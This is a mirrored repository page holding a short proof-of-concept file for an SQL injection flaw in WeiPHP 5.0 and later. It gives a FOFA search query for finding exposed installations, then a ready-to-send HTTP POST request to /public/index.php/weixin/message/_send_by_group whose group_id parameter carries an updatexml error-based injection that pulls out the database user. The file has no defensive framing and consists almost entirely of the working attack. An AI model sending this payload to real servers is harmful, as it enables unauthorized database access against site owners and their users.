admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity
wy876_POC/WeiPHP>=5.0 SQL注入漏洞.md
wy876 eb5dcd7767
Create WeiPHP>=5.0 SQL注入漏洞.md
2023-12-07 20:57:39 +08:00

349 B
Raw Blame History

WeiPHP>=5.0 SQL注入漏洞

fofa

app="WeiPHP"

poc

POST /public/index.php/weixin/message/_send_by_group HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
 
group_id[0]=exp&group_id[1]=%29+and+updatexml%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%2C1%29+--